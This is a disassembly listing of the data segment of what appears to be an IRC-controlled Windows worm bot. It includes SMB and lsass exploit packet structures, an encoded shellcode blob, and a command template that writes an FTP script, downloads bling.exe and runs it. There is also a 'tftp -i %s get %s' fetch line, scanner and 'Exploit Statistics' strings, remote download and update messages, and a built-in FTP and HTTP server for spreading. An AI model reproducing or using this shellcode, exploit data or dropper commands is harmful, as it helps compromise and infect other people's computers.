					; DATA XREF: sub_402D46+2AAo
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_42A7F8	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_402D46+2D1o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_42A89C	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_402D46+3B0o
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_42A91C	dd offset byte_401495	; DATA XREF: sub_402D46+3DEo
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40707A+2
		dd 1, 0
		dd 1, 0
		dd offset loc_40707A+2
		dd 1, 0
		dd 1, 0
		dd offset loc_40707A+2
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_42A9B0	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_402D46+306o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_42AA1C	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_402D46+331o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_42AA90	dd 0			; DATA XREF: sub_402D46+35Fo
		dd offset loc_40A898+2
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A898+2
		dd 1, 0
		dd 1, 0
		dd offset loc_40A898+2
		dd 1, 0
		dd 1, 0
		dd offset loc_40A898+2
		dd 1, 0
		dd 1, 2	dup(0)
word_42AB18	dw 0AD9Dh		; DATA XREF: sub_402B90+30r
					; sub_402D46+E7r
		align 4
		dd 2 dup(0)
aWinxpProfessio	db 'WinXP Professional    [universal] lsass.exe ',0
		align 8
dword_42AB58	dd 1004600h		; DATA XREF: sub_402D46+140r
					; sub_402D46+245r
		dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
		dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
		dd 6C6C642Eh, 2	dup(0)
		dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
		dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
		dd 70617274h, 6C6C642Eh, 2 dup(0)
		dd 751C123Ch, 8Dh dup(0)
aS		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_402B90+100o
					; sub_4087B3+2FADo ...
		align 10h
aEchoOpenSDOEch	db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &'
					; DATA XREF: sub_402B90+BCo
		db 'echo quit >> o &ftp -n -s:o &bling.exe',0Dh,0Ah,0
		align 4
		dd 5 dup(0)
aTftpISGetS	db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_402B90+97o
		align 8
dword_42AEA8	dd 6EB06EBh, 0		; DATA XREF: sub_402D46+177o
aSIpc		db '\\%s\ipc$',0        ; DATA XREF: sub_402D46+27o
		align 4
dword_42AEBC	dd 1CEC8166h		; DATA XREF: sub_402D46+Dr
dword_42AEC0	dd 0E4FF07h		; DATA XREF: sub_402D46+16r
		align 8
dword_42AEC8	dd 5D73255Bh, 3403203Ah, 1F5B1F02h, 78452002h, 696F6C70h
					; DATA XREF: .text:00403402o
		dd 676E6974h, 20504920h, 1F5D1F02h, 0BB200302h,	2520BBBBh
		dd 2E73h, 3 dup(0)
aAsn1http_0	db 'asn1http',0         ; DATA XREF: .text:0040405Fo
		align 2
aAsn1http	db 'asn1http',0         ; DATA XREF: sub_402413+1C8o
					; .text:004033FCo
		align 4
		dd 5 dup(0)
dword_42AF28	dd 50h			; DATA XREF: sub_4034D1+1Er
					; sub_4087B3+2185r ...
off_42AF2C	dd offset sub_4011B8	; DATA XREF: .text:004040E1r
dword_42AF30	dd 0			; DATA XREF: sub_402413+1FCw
					; sub_402413+202r ...
dword_42AF34	dd 1			; DATA XREF: sub_403661+1Fr
dword_42AF38	dd 1			; DATA XREF: sub_403661:loc_4038D2r
aAsn1smb	db 'asn1smb',0
		dd 73610000h, 6D73316Eh, 62h, 5	dup(0)
		dd 1BDh, 4011B8h, 0
		dd 2 dup(1), 316E7361h,	6E626D73h, 73610074h, 6D73316Eh
		dd 746E62h, 5 dup(0)
		dd 8Bh,	4011B8h, 0
		dd 2 dup(1), 7361736Ch,	73h, 534C0000h,	2D735361h, 2D353434h
		dd 2D646F4Dh, 33726D65h, 3 dup(0)
		dd 1BDh, 401294h, 0
		dd 2 dup(1), 10h dup(0)
aAsn1smbnt	db 'asn1smbnt',0
byte_42B03A	db 1			; DATA XREF: sub_4087B3:loc_40C15Br
					; sub_4087B3+39B2o
aAsn1smb_0	db 'asn1smb',0
		align 4
		dd 100h, 3 dup(0)
		dd 4A5A10EBh, 0B966C933h, 34800166h, 0FAE2990Ah, 0EBE805EBh
		dd 70FFFFFFh, 99999899h, 699521C3h, 9912E664h, 3485E912h
		dd 1291D912h, 0A5EA1241h, 0EF126A9Ah, 126A9AE1h, 629AB9E7h
		dd 0AA8DD712h, 0C8CECF74h, 629AA612h, 97F36B12h, 0ED3F6AC0h
		dd 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h, 0DF125412h, 485A9ABDh
		dd 0AA589A78h, 9112FF50h, 9A85DF12h, 9B78585Ah,	9912589Ah
		dd 63125A9Ah, 5F1A6E12h, 0F3491297h, 0E571C09Ah, 1A999999h
		dd 0CFCB945Fh, 0C365CE66h, 9DF34112h, 99F071C0h, 0C9C99999h
		dd 98F3C9C9h, 0CE669BF3h, 5E411269h, 9E999B9Eh,	1059AA24h
		dd 89F39DDEh, 0CE66CACEh, 0CA98F36Dh, 0C961CE66h, 0CE66CAC9h
		dd 0DD751A65h, 42AA6D12h, 10C089F3h, 627B1785h,	10A1DF10h
		dd 0DF10A5DFh, 0B5DF5ED9h, 99999898h, 0C989DE14h, 0CACACACFh
		dd 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h, 0CAC9A5DEh, 0C97DCE66h
		dd 0AA71CE66h, 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h
		dd 5A59AA77h, 66676271h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h
		dd 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh
		dd 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh, 0D5FDF8F6h, 0F8EBFBF0h
		dd 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh, 0F6CAD8CAh, 0EDFCF2FAh
		dd 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h, 0FAF899F7h, 0EDE9FCFAh
		dd 99h,	24h dup(0)
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_4034D1+81o
		align 4
		dd 0
aSD		db ' %s: %d,',0         ; DATA XREF: sub_4034D1+42o
		align 4
dword_42B288	dd 20025B02h, 6F72202Dh, 1F741F6Fh, 2202D20h, 0BB20025Dh
					; DATA XREF: sub_4034D1+11o
aExploitStatist	db ' Exploit Statistics:',0
		align 4
		dd 2 dup(0)
dword_42B2BC	dd 20025B02h, 6F72202Dh, 1F741F6Fh, 2202D20h, 0BB20025Dh
					; DATA XREF: sub_4035CD+42o
aScanNotActive_	db ' Scan not active.',0
		align 4
		dd 2 dup(0)
dword_42B2EC	dd 20025B02h, 6F72202Dh, 1F741F6Fh, 2202D20h, 0BB20025Dh
					; DATA XREF: sub_4035CD+2Co
		dd 72754320h, 746E6572h, 3A504920h, 2E732520h, 2 dup(0)
unk_42B318	db    2			; DATA XREF: sub_403661+36Fo
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	68h, 74h
		db  74h	; t
		db 70h,	1Fh, 64h
		db  1Fh
		db 20h,	2Dh, 20h
		db    2
		db 5Dh,	2, 20h
aFailedToStartS	db ' Failed to start server, error: <%d>.',0
		align 10h
unk_42B360	db    2			; DATA XREF: sub_403661+307o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	68h, 74h
		db  74h	; t
		db 70h,	1Fh, 64h
		db  1Fh
		db 20h,	2Dh, 20h
		db    2
		db 5Dh,	2, 20h
aServerListenin	db ' Server listening on IP: %s:%d, Directory: %s\.',0
		align 4
		dd 3 dup(0)
unk_42B3B4	db    2			; DATA XREF: sub_403661+267o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	66h, 74h
		db  1Fh
		db 70h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aFailedToStar_0	db '  Failed to start server, error: <%d>.',0
		align 10h
		dd 2 dup(0)
unk_42B3F8	db    2			; DATA XREF: sub_403661+1FAo
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	66h, 74h
		db  1Fh
		db 70h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aServerStartedO	db '  Server started on Port: %d, File: %s, Request: %s.',0
		align 10h
		dd 4 dup(0)
dword_42B450	dd 20025B02h, 6674202Dh, 1F701F74h, 2202D20h, 0BB20025Dh
					; DATA XREF: sub_403661+149o
aFailedToStar_1	db ' Failed to start server, error: <%d>.',0
		align 4
		dd 3 dup(0)
dword_42B498	dd 20025B02h, 6674202Dh, 1F701F74h, 2202D20h, 0BB20025Dh
					; DATA XREF: sub_403661+DBo
aServerStarte_0	db ' Server started on Port: %d, File: %s, Request: %s.',0
		dd 4 dup(0)
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_403B34+38o
					; sub_4116BB+46o
		align 10h
aSocketClosed_	db 'Socket closed.',0   ; DATA XREF: .text:loc_403E76o
		align 10h
		dd 0
aSocketOpen_	db 'Socket open.',0     ; DATA XREF: .text:00403E66o
		align 4
aRecvfromSocket	db 'recvfrom() socket failed',0 ; DATA XREF: .text:00403E41o
		align 10h
		dd 0
aSendtoSocketFa	db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: .text:00403DE7o
		dd 2 dup(0)
aSocketOpenFail	db 'socket open failed',0 ; DATA XREF: .text:00403DB0o
		align 4
		dd 0
dword_42B58C	dd 20025B02h, 6F72202Dh, 1F741F6Fh, 2202D20h, 0BB20025Dh
					; DATA XREF: .text:00403FE6o
aIpSPortDIsOpen	db ' IP: %s, Port %d is open.',0
		align 4
		dd 2 dup(0)
dword_42B5C4	dd 20025B02h, 6F72202Dh, 1F741F6Fh, 2202D20h, 0BB20025Dh
					; DATA XREF: .text:00403F8Eo
aIpSDScanThread	db ' IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
		align 4
		dd 3 dup(0)
dword_42B614	dd 20025B02h, 6F72202Dh, 1F741F6Fh, 2202D20h, 0BB20025Dh
					; DATA XREF: .text:00404362o
aFinishedAtSDAf	db ' Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
		dd 4 dup(0)
dword_42B66C	dd 20025B02h, 6F72202Dh, 1F741F6Fh, 2202D20h, 0BB20025Dh
					; DATA XREF: .text:00404307o
aFailedToStartW	db ' Failed to start worker thread, error: <%d>.',0
		align 10h
		dd 3 dup(0)
dword_42B6BC	dd 20025B02h, 6F72202Dh, 1F741F6Fh, 2202D20h, 0BB20025Dh
					; DATA XREF: .text:00404297o
aSDScanThreadDS	db ' %s:%d, Scan thread: %d, Sub-thread: %d.',0
		align 4
		dd 3 dup(0)
dword_42B708	dd 20025B02h, 6F72202Dh, 1F741F6Fh, 2202D20h, 0BB20025Dh
					; DATA XREF: .text:0040421Bo
aFailedToInitia	db ' Failed to initialize critical section.',0
		align 10h
aD_SS		db '%d. %s = %s',0      ; DATA XREF: sub_40452A+35o
		align 10h
aAliasList	db '-[Alias List]-',0   ; DATA XREF: sub_40452A+10o
		align 10h
		dd 0
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4045C0+60o
		align 4
		dd 0
aLogs		db '-[Logs]-',0         ; DATA XREF: .text:004046A4o
		align 4
aLogsCleared_	db '[LOGS]: Cleared.',0 ; DATA XREF: sub_40474C+1Ao
		align 4
dword_42B7BC	dd 20025B02h, 6F6C202Dh, 201F671Fh, 5D02202Dh, 20BB2002h
					; DATA XREF: .text:004048B6o
		dd 73694C20h, 6F632074h, 656C706Dh, 2E6574h, 2 dup(0)
dword_42B7E8	dd 20025B02h, 6F6C202Dh, 201F671Fh, 5D02202Dh, 20BB2002h
					; DATA XREF: .text:00404819o
		dd 67654220h, 6E69h, 0
dword_42B808	dd 78h			; DATA XREF: sub_4049E0+Ar
		align 10h
dword_42B810	dd 80000002h, 42C9F8h, 80000002h, 42CA28h, 80000001h, 42CA60h
					; DATA XREF: sub_404954+7o
dword_42B828	dd 2 dup(0)		; DATA XREF: sub_404954+63o
dword_42B830	dd 6272h		; DATA XREF: sub_404A47+Bo
					; sub_40636F+24o ...
unk_42B834	db    2			; DATA XREF: .text:004051E0o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	64h, 6Fh
		db  77h	; w
		db 6Eh,	6Ch, 6Fh
		db  61h	; a
		db 6Ch,	1Fh, 64h
		db  1Fh
		db 20h,	2Dh, 20h
		db    2
		db 5Dh,	2, 20h
aBadUrlOrDnsErr	db '  Bad URL, or DNS Error: %s.',0
		align 4
		dd 2 dup(0)
unk_42B874	db    2			; DATA XREF: .text:004051D2o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	64h, 6Fh
		db  77h	; w
		db 6Eh,	6Ch, 6Fh
		db  61h	; a
		db 6Ch,	1Fh, 64h
		db  1Fh
		db 20h,	2Dh, 20h
		db    2
		db 5Dh,	2, 20h
aUpdateFailedEr	db '  Update failed: Error executing file: %s.',0
		dd 4 dup(0)
unk_42B8C8	db    2			; DATA XREF: .text:00405116o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	64h, 6Fh
		db  77h	; w
		db 6Eh,	6Ch, 6Fh
		db  61h	; a
		db 6Ch,	1Fh, 64h
		db  1Fh
		db 20h,	2Dh, 20h
		db    2
		db 5Dh,	2, 20h
aDownloaded_1fk	db '  Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0
		align 4
		dd 4 dup(0)
dword_42B924	dd 20025B02h, 6F64202Dh, 6F6C6E77h, 641F6C61h, 202D201Fh
					; DATA XREF: .text:004050A5o
		dd 20025D02h, 4F2020BBh, 656E6570h, 25203A64h, 2E73h, 2	dup(0)
aOpen		db 'open',0             ; DATA XREF: .text:00405083o
					; sub_4087B3+1452o ...
		align 4
unk_42B95C	db    2			; DATA XREF: .text:0040502Eo
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	64h, 6Fh
		db  77h	; w
		db 6Eh,	6Ch, 6Fh
		db  61h	; a
		db 6Ch,	1Fh, 64h
		db  1Fh
		db 20h,	2Dh, 20h
		db    2
		db 5Dh,	2, 20h
aDownloaded_1fK	db '  Downloaded %.1f KB to %s @ %.1f KB/sec.',0
		align 10h
		dd 3 dup(0)
unk_42B9AC	db    2			; DATA XREF: .text:00404FAFo
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	64h, 6Fh
		db  77h	; w
		db 6Eh,	6Ch, 6Fh
		db  61h	; a
		db 6Ch,	1Fh, 64h
		db  1Fh
		db 20h,	2Dh, 20h
		db    2
		db 5Dh,	2, 20h
aCrcFailedDD_	db '  CRC Failed (%d != %d).',0
		align 10h
		dd 2 dup(0)
unk_42B9E8	db    2			; DATA XREF: .text:00404F25o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	64h, 6Fh
		db  77h	; w
		db 6Eh,	6Ch, 6Fh
		db  61h	; a
		db 6Ch,	1Fh, 64h
		db  1Fh
		db 20h,	2Dh, 20h
		db    2
		db 5Dh,	2, 20h
aFilesizeIsInco	db '  Filesize is incorrect: (%d != %d).',0
		align 4
		dd 3 dup(0)
unk_42BA34	db    2			; DATA XREF: .text:00404EE2o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	64h, 6Fh
		db  77h	; w
		db 6Eh,	6Ch, 6Fh
		db  61h	; a
		db 6Ch,	1Fh, 64h
		db  1Fh
		db 20h,	2Dh, 20h
		db    2
		db 5Dh,	2, 20h
aUpdateSDkbTran	db '  Update: %s (%dKB transferred).',0
		align 10h
		dd 3 dup(0)
unk_42BA7C	db    2			; DATA XREF: .text:00404ED0o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	64h, 6Fh
		db  77h	; w
		db 6Eh,	6Ch, 6Fh
		db  61h	; a
		db 6Ch,	1Fh, 64h
		db  1Fh
		db 20h,	2Dh, 20h
		db    2
		db 5Dh,	2, 20h
aFileDownloadSD	db '  File download: %s (%dKB transferred).',0
		align 10h
		dd 3 dup(0)
unk_42BACC	db    2			; DATA XREF: .text:00404DC4o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	64h, 6Fh
		db  77h	; w
		db 6Eh,	6Ch, 6Fh
		db  61h	; a
		db 6Ch,	1Fh, 64h
		db  1Fh
		db 20h,	2Dh, 20h
		db    2
		db 5Dh,	2, 20h
aCouldnTOpenFil	db '  Couldn',27h,'t open file: %s.',0
		align 10h
		dd 3 dup(0)
aUnknown	db 'Unknown',0          ; DATA XREF: sub_40545D:loc_4054A0o
					; sub_410B94+104o
		align 8
aInvalid	db 'Invalid',0          ; DATA XREF: sub_40545D:loc_40549Ao
		dd 0
aDisk		db 'Disk',0             ; DATA XREF: sub_40545D:loc_405494o
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_40545D:loc_40548Eo
		align 8
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_40545D:loc_405488o
		align 10h
aRam		db 'RAM',0              ; DATA XREF: sub_40545D:loc_405482o
word_42BB44	dw 3Fh			; DATA XREF: sub_40545D+1Fo
					; sub_414190:loc_414292r
		align 4
aFailed		db 'failed',0           ; DATA XREF: sub_405512:loc_4055EAo
					; sub_405673+3Bo
		align 10h
aSkb		db '%sKB',0             ; DATA XREF: sub_405512+6Bo
		align 4
unk_42BB58	db    2			; DATA XREF: sub_405673+8Eo
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	69h, 72h
		db  1Fh
		db 62h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aSDriveSSTotalS	db '   %s Drive (%s): %s total, %s free, %s available.',0
		align 10h
		dd 3 dup(0)
unk_42BBAC	db    2			; DATA XREF: sub_405673+58o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	69h, 72h
		db  1Fh
		db 62h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aSDriveSFailedT	db '   %s Drive (%s): Failed to stat, device not ready.',0
		align 10h
aA_1		db 'A:\',0              ; DATA XREF: sub_405779:loc_4057BEo
dword_42BC04	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: .text:00405A2Bo
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_42BC50	dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF:	.text:00405A6Ao
dword_42BC6C	dd 975201B0h, 11D059CAh, 0A000D5A8h, 51800DC9h,	0
					; DATA XREF: .text:00405A9Fo
dword_42BC80	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 8 dup(0)
					; DATA XREF: .text:00405AC6o
a221GoodbyeHapp	db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: .text:0040611Do
		dd 2 dup(0)
aQuit		db 'QUIT',0             ; DATA XREF: .text:00406109o
					; sub_4087B3+534o
		align 4
a425CanTOpenDat	db '425 Can',27h,'t open data connection.',0Ah,0
					; DATA XREF: .text:004060FCo
		align 10h
		dd 0
dword_42BD04	dd 726D655Bh, 45205D33h, 6F6C7078h, 656C7469h, 2069646Eh
					; DATA XREF: .text:004060B1o
		dd 203A7069h, 253A7325h, 61E72064h, 74FEFD6Ch, 6CFD72FDh
		dd 203AFD64h, 7325h, 2 dup(0)
a226TransferC_0	db '226 Transfer complete.',0Ah,0 ; DATA XREF: .text:00406092o
		align 8
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
					; DATA XREF: .text:00406066o
		align 4
		dd 2 dup(0)
aRetr		db 'RETR',0             ; DATA XREF: .text:0040604Eo
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0 ; DATA XREF: .text:00406039o
		align 8
aS_S_S_S	db '%s.%s.%s.%s',0      ; DATA XREF: .text:00406028o
		align 8
aXX		db '%x%x',0Ah,0         ; DATA XREF: .text:00405FF5o
		align 10h
aS_0		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: .text:00405FB4o
		db ']',0
		align 10h
aPort		db 'PORT',0             ; DATA XREF: .text:00405F7Bo
		align 4
a226TransferCom	db '226 Transfer complete',0Ah,0 ; DATA XREF: .text:00405F4Do
		align 10h
		dd 0
aList		db 'LIST',0             ; DATA XREF: .text:00405F3Ao
		align 4
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
					; DATA XREF: .text:00405EFFo
		align 10h
aPasv		db 'PASV',0             ; DATA XREF: .text:00405EECo
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0 ; DATA XREF: .text:00405EDCo
		align 10h
aI:					; DATA XREF: .text:00405EC8o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0 ; DATA XREF: .text:00405EA1o
		dd 0
aA:					; DATA XREF: .text:00405E8Do
		unicode	0, <A>,0
aType		db 'TYPE',0             ; DATA XREF: .text:00405E76o
					; .text:00405EB1o
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0 ; DATA XREF: .text:00405E66o
		align 10h
off_42BED0	dd offset dword_445750	; DATA XREF: .text:00405E52o
a350Restarting_	db '350 Restarting.',0Ah,0 ; DATA XREF: .text:00405E42o
		align 4
aRest		db 'REST',0             ; DATA XREF: .text:00405E2Eo
		align 10h
a215Stnyftpd	db '215 StnyFtpd',0Ah,0 ; DATA XREF: .text:00405E1Eo
		align 10h
aSyst		db 'SYST',0             ; DATA XREF: .text:00405E0Ao
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0 ; DATA XREF: .text:00405DFAo
		align 10h
		dd 0
aPass		db 'PASS',0             ; DATA XREF: .text:00405DE6o
		align 4
a331PasswordReq	db '331 Password required',0Ah,0 ; DATA XREF: .text:00405DD6o
		align 8
aUser		db 'USER',0             ; DATA XREF: .text:00405DC1o
					; .data:0042CBB4o ...
		align 10h
aSS		db '%s %s',0            ; DATA XREF: .text:00405DB0o
					; .text:0040FEDCo
		align 4
a220Stnyftpd0wn	db '220 StnyFtpd 0wns j0',0Ah,0 ; DATA XREF: .text:00405D28o
		align 10h
		dd 0
unk_42BF74	db    2			; DATA XREF: .text:00406827o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	68h, 74h
		db  74h	; t
		db 70h,	1Fh, 64h
		db  1Fh
		db 20h,	2Dh, 20h
		db    2
		db 5Dh,	2, 20h
aErrorServerFai	db '  Error: server failed, returned: <%d>.',0
		align 10h
asc_42BFC0	db 0Dh,0Ah,0		; DATA XREF: .text:004066FEo
		align 4
asc_42BFC4:				; DATA XREF: .text:004066C2o
					; sub_4087B3+A8o ...
		unicode	0, < >,0
aGet		db 'GET ',0             ; DATA XREF: .text:00406698o
		align 10h
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: .text:00406A96o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
		dd 0Ch dup(0)
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: .text:00406A73o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
		dd 0Bh dup(0)
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: .text:00406A37o
					; sub_414190+1AEo
		align 4
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: .text:00406A23o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: .text:loc_406A05o
		align 8
aTextHtml	db 'text/html',0        ; DATA XREF: .text:004069FEo
		align 4
unk_42C244	db    2			; DATA XREF: sub_406B82+28Fo
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	68h, 74h
		db  74h	; t
		db 70h,	1Fh, 64h
		db  1Fh
		db 20h,	2Dh, 20h
		db    2
		db 5Dh,	2, 20h
aFailedToStar_2	db '  Failed to start worker thread, error: <%d>.',0
		align 4
		dd 3 dup(0)
unk_42C294	db    2			; DATA XREF: sub_406B82+20Bo
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	68h, 74h
		db  74h	; t
		db 70h,	1Fh, 64h
		db  1Fh
		db 20h,	2Dh, 20h
		db    2
		db 5Dh,	2, 20h
aWorkerThreadOf	db '  Worker thread of server thread: %d.',0
		align 10h
		dd 3 dup(0)
dword_42C2DC	dd 2Ah			; DATA XREF: sub_406B82+157o
dword_42C2E0	dd 0Ah			; DATA XREF: sub_406B82+FBo
					; sub_406EDE+29o
aSS_0		db '%s%s',0             ; DATA XREF: sub_406B82+EAo
					; sub_406EDE+4CAo ...
		align 4
aS_2		db '%s',0               ; DATA XREF: sub_406B82+3Ao
					; sub_4087B3+172Ao ...
		align 10h
aS_5		db '\%s',0              ; DATA XREF: sub_406B82+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_406EDE+64Eo
		align 10h
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_406EDE+633o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 4
		dd 3 dup(0)
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_406EDE+618o
		align 4
		dd 2 dup(0)
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_406EDE+589o
		align 4
		dd 0
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_406EDE+561o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		dd 5 dup(0)
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_406EDE:loc_4073F6o
		align 10h
		dd 0
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_406EDE+511o
		align 8
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_406EDE+471o
		align 10h
		dd 0
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_406EDE+434o
		align 8
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_406EDE+401o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
